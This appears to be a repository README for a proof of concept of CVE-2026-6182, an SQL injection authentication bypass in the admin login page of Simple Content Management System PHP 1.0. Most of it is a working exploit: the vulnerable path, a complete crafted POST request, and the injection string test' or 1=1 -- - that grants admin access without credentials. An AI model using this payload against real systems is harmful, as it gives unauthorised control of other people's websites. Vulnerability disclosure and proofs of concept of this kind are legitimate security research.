xmyronn/cve-2026-6182-sqli-authProof-of-concept for SQL injection authentication bypass in Simple Content Management System PHP, allowing unauthenticated attackers to gain admin access via crafted user parameter.
A SQL Injection vulnerability exists in the admin login page of
Simple Content Management System PHP. The user parameter is not
sanitized before being passed to the SQL query, allowing an
unauthenticated attacker to bypass authentication and gain full
admin access.
/web/admin/login.phpusercode-projects.org
Simple Content Management System PHP
1.0
POST /web/admin/login.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
user=test'+or+1%3D1+--+-&password=test&submit=Login
or just add this in the login page
test' or 1=1 -- -
An unauthenticated remote attacker can bypass the admin login completely without knowing any credentials, gaining full control over the admin panel including adding content.
Imad Alvi